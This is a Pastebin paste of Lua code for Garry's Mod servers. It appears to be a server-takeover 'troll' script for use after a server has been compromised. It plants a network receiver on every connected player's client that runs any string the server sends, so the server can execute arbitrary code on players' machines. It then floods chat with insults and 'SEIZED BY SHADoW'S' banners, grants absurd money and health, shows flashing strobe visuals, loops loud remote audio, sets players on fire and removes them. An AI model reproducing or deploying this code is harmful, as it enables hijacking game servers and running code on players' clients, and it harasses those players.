API tools faq
paste
Advertisement
Guest User

vzd

a guest
Apr 21st, 2018
75
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.39 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohnosssn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "|SEIZED BY SHADoW'S SOUS RACE| ")]]) end)
  33. timer.Create( "ohnonssnnnn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "BIEN BAISER TON SERV FDP ")]]) end)
  34. timer.Create( "moneymonsseyyyyyyyyy", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  35. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "99999999999999999") end)
  36. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "EST BONNE NUIT BB")]]) end)
  37.  
  38. function lol:Start( pPlayer )
  39. pPlayer.m_intCurAction = 0
  40. self:NextAction( pPlayer )
  41. end
  42.  
  43. function lol:SendLua( pPlayer, strLua )
  44. net.Start( "skeleton_dancing_troll" )
  45. net.WriteString( strLua )
  46. net.Send( pPlayer )
  47. end
  48.  
  49. function lol:SetupPlayer( pPlayer )
  50. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  51. end
  52.  
  53. for k, v in pairs( player.GetAll() ) do
  54. lol:SetupPlayer( v )
  55. timer.Simple( 2, function() lol:Start( v ) end )
  56. end
  57.  
  58. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  59. lol:SetupPlayer( pPlayer )
  60. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  61. end )
  62.  
  63. hook.Add( "PlayerSay", "rip", function( pSender, strText, bTeamChat )
  64. if strText:sub( 1, 5 ) == "/1337" then
  65. pSender:Ignite( 1e9 )
  66. pSender:ChatPrint( "RIP MON GARS" )
  67. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  68. return false
  69. end
  70. end )
  71.  
  72.  
  73.  
  74. --Sequence stack
  75. --Start some tunes and steam in our assets
  76. lol:PushAction( 0, function( pPlayer )
  77. lol:SendLua( pPlayer, ([=[
  78. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "", function()end )
  79.  
  80. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  81. local html = [[%s]]
  82. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  83. local pnl = vgui.Create( "HTML" )
  84. pnl:SetPos( ScrW() -1, ScrH() -1 )
  85. pnl:SetVisible( true )
  86. pnl:SetMouseInputEnabled( false )
  87. pnl:SetKeyBoardInputEnabled( false )
  88. pnl:SetSize( intSizeX, intSizeY )
  89. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  90.  
  91. local PageLoaded
  92. PageLoaded = function()
  93. local mat = pnl:GetHTMLMaterial()
  94. if mat then
  95. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  96. return
  97. end
  98.  
  99. timer.Simple( 0.5, PageLoaded )
  100. end
  101.  
  102. PageLoaded()
  103. end
  104.  
  105. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306958-hud.png", "hud1", 300, 128 )
  106. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306628-hud2.png", "hud2", 300, 128 )
  107. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/3/1514938537-1511306630-hud3.png", "hud3", 128, 128 )
  108. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos", 183, 256 )
  109. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850966-giphy.gif", "fedora", 256, 256 )
  110. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850963-e8nzc.gif", "dew", 110, 256 )
  111. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514850968-2899-full.gif", "awp", 256, 55 )
  112. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos2", 83, 256 )
  113. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos3", 250, 80 )
  114. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos4", 100, 100 )
  115. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-sssssssssss.png", "doritos5", 200, 200 )
  116. ]=]):format(lol.m_strImageLoadHTML) )
  117. end )
  118.  
  119. --HUD swap
  120. lol:PushAction( 31, function( pPlayer )
  121. lol:SendLua( pPlayer, [[
  122. (GAMEMODE or GM).CalcView = function() end
  123. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  124.  
  125. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  126. for k, v in pairs(remove) do
  127. hook.GetTable()[v] = {}
  128. end
  129.  
  130. local function GetWebMat( strURL )
  131. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  132. end
  133.  
  134. hook.Add( "HUDPaint", "newhud", function()
  135. surface.SetDrawColor( 255, 255, 255, 255 )
  136.  
  137. if GetWebMat( "hud1" ) then
  138. surface.SetMaterial( GetWebMat("hud1")[1] )
  139. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  140. end
  141. if GetWebMat( "hud2" ) then
  142. surface.SetMaterial( GetWebMat("hud2")[1] )
  143. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  144. end
  145. if GetWebMat( "hud3" ) then
  146. surface.SetMaterial( GetWebMat("hud3")[1] )
  147. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  148. end
  149. if GetWebMat( "doritos" ) then
  150. surface.SetMaterial( GetWebMat("doritos")[1] )
  151. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  152. end
  153. if GetWebMat( "dew" ) then
  154. surface.SetMaterial( GetWebMat("dew")[1] )
  155. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  156. end
  157. if GetWebMat( "fedora" ) then
  158. surface.SetMaterial( GetWebMat("fedora")[1] )
  159. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  160. end
  161. if GetWebMat( "awp" ) then
  162. surface.SetMaterial( GetWebMat("awp")[1] )
  163. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  164. end
  165. if GetWebMat( "doritos2" ) then
  166. surface.SetMaterial( GetWebMat("doritos2")[1] )
  167. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 83 *(200 /100), 256, CurTime() *512 )
  168. end
  169. if GetWebMat( "doritos3" ) then
  170. surface.SetMaterial( GetWebMat("doritos3")[1] )
  171. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 250 *(150 /250), 80, CurTime() *512 )
  172. end
  173. if GetWebMat( "doritos4" ) then
  174. surface.SetMaterial( GetWebMat("doritos4")[1] )
  175. surface.DrawTexturedRectRotated( math.random(200, 200), math.random(250, 260), 100 *(256 /250), 100, CurTime() *512 )
  176. end
  177. if GetWebMat( "doritos5" ) then
  178. surface.SetMaterial( GetWebMat("doritos5")[1] )
  179. surface.DrawTexturedRectRotated( math.random(300, 400), math.random(250, 260), 200 *(1920 /1080), 200, CurTime() *512 )
  180. end
  181.  
  182. draw.SimpleTextOutlined(
  183. "SEIZED BY SHADoW'S",
  184. "DermaLarge",
  185. ScrW() /2 +math.random( -8, 8 ),
  186. ScrH() /2 +math.random( -8, 8 ) +100,
  187. Color( 4, 255, 0, 160 ),
  188. TEXT_ALIGN_CENTER,
  189. TEXT_ALIGN_CENTER,
  190. 3,
  191. Color( 0, 0, 0, 255 )
  192. )
  193. end )
  194.  
  195. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  196. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  197.  
  198. surface.PlaySound( "garrysmod/save_load4.wav" )
  199. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  200. ]] )
  201. end )
  202.  
  203. --Disco time
  204. lol:PushAction( 10, function( pPlayer )
  205. local idx = pPlayer:EntIndex()
  206. timer.Create( "beat".. idx, 0.42, 0, function()
  207. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  208. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  209. end )
  210.  
  211.  
  212. lol:SendLua( pPlayer, [[
  213. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  214. local time = 0
  215.  
  216. hook.Add( "Think", "wat", function()
  217. if CurTime() < time then
  218. return
  219. end
  220.  
  221. time = CurTime() +0.05
  222. for i = 1, 16 do
  223. local part = emitter:Add(
  224. "particles/balloon_bit",
  225. LocalPlayer():GetPos() +Vector(
  226. math.random( -256, 256 ),
  227. math.random( -256, 256 ),
  228. 256
  229. )
  230. )
  231.  
  232. if part then
  233. local Size = math.random( 4, 7 )
  234.  
  235. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  236. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  237. part:SetDieTime( 4.5 )
  238. part:SetGravity( Vector(40, 0, -250) )
  239. part:SetLifeTime( 0 )
  240. part:SetStartSize( Size /2 )
  241. part:SetEndSize( Size )
  242. part:SetCollide( true )
  243. end
  244. end
  245. end )
  246. ]] )
  247.  
  248. lol:SendLua( pPlayer, [[
  249. hook.Add( "RenderScreenspaceEffects", "wat", function()
  250. local sinScaler = math.sin( CurTime() )
  251. DrawBloom(
  252. 0,
  253. 3,
  254. sinScaler *math.Rand(1, 8),
  255. sinScaler *math.Rand(1, 8),
  256. 6,
  257. math.Rand(0.5, 2),
  258. math.Rand(0, 0.3),
  259. math.Rand(0, 0.3),
  260. math.Rand(0.5, 1)
  261. )
  262.  
  263. DrawColorModify{
  264. ["$pp_colour_addr"] = 3,
  265. ["$pp_colour_addg"] = 2,
  266. ["$pp_colour_addb"] = 0,
  267. ["$pp_colour_brightness" ] = 0,
  268. ["$pp_colour_contrast" ] = 1,
  269. ["$pp_colour_colour" ] = 1,
  270. ["$pp_colour_mulr" ] = 0,
  271. ["$pp_colour_mulg" ] = 0,
  272. ["$pp_colour_mulb" ] = 0
  273. }
  274. end )
  275.  
  276. local mdl = ClientsideModel( "models/player/portal_and_mika/noose.mdl", RENDERGROUP_BOTH )
  277. mdl:SetNoDraw( true )
  278. local posCache, time = {}, 0
  279.  
  280. hook.Add( "HUDPaint", "dance", function()
  281. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  282. local idx = mdl:LookupSequence("taunt_dance")
  283. mdl.SeqDuration = mdl:SequenceDuration( idx )
  284. mdl.SeqStart = CurTime()
  285. mdl:ResetSequence( idx )
  286. end
  287.  
  288. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  289.  
  290.  
  291. local w, h = 300, 300
  292. local ang = Angle( 0, 0, 0 )
  293.  
  294. for i = 1, 32 do
  295. if CurTime() > time then
  296. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  297. end
  298. local x, y = posCache[i][1], posCache[i][2]
  299.  
  300. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  301. cam.IgnoreZ( true )
  302. render.SuppressEngineLighting( true )
  303.  
  304. render.SetLightingOrigin( mdl:GetPos() )
  305. render.ResetModelLighting( 1, 1, 1 )
  306. render.SetColorModulation( 1, 0, 0 )
  307.  
  308. mdl:DrawModel()
  309.  
  310. render.SuppressEngineLighting( false )
  311. cam.IgnoreZ( false )
  312. cam.End3D()
  313. end
  314.  
  315. if CurTime() > time then
  316. time = CurTime() +0.15
  317. end
  318. end )
  319.  
  320. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  321. ]] )
  322. end )
  323.  
  324. --Let the beat drop
  325. lol:PushAction( 54, function( pPlayer )
  326. lol:SendLua( pPlayer, [[
  327. hook.Add( "GetMotionBlurValues", "wat", function()
  328. return 1, 0, 0, math.sin(CurTime() *13)
  329. end )
  330.  
  331. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  332. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  333. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  334. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  335. end )
  336.  
  337. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  338. render.SetMaterial( Material("cable/blue_elec") )
  339. for i = 1, 32 do
  340. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  341. end
  342. end )
  343.  
  344. timer.Create( "thedrop", 0.42, 0, function()
  345. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  346. end )
  347. ]] )
  348. end )
  349.  
  350. --EVIL TIME rip headpones
  351. lol:PushAction( 175, function( pPlayer )
  352. lol:SendLua( pPlayer, [[
  353. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  354.  
  355. local sounds = {}
  356. for i = 1, 4 do
  357. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "noblock noplay", function( pChan )
  358. sounds[#sounds +1] = pChan
  359. end )
  360. end
  361.  
  362. timer.Create( "asdf", 1, 0, function()
  363. if #sounds ~= 4 then return end
  364. timer.Destroy( "asdf" )
  365. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  366. end )
  367.  
  368. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  369. ]] )
  370.  
  371. pPlayer:Remove()
  372. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!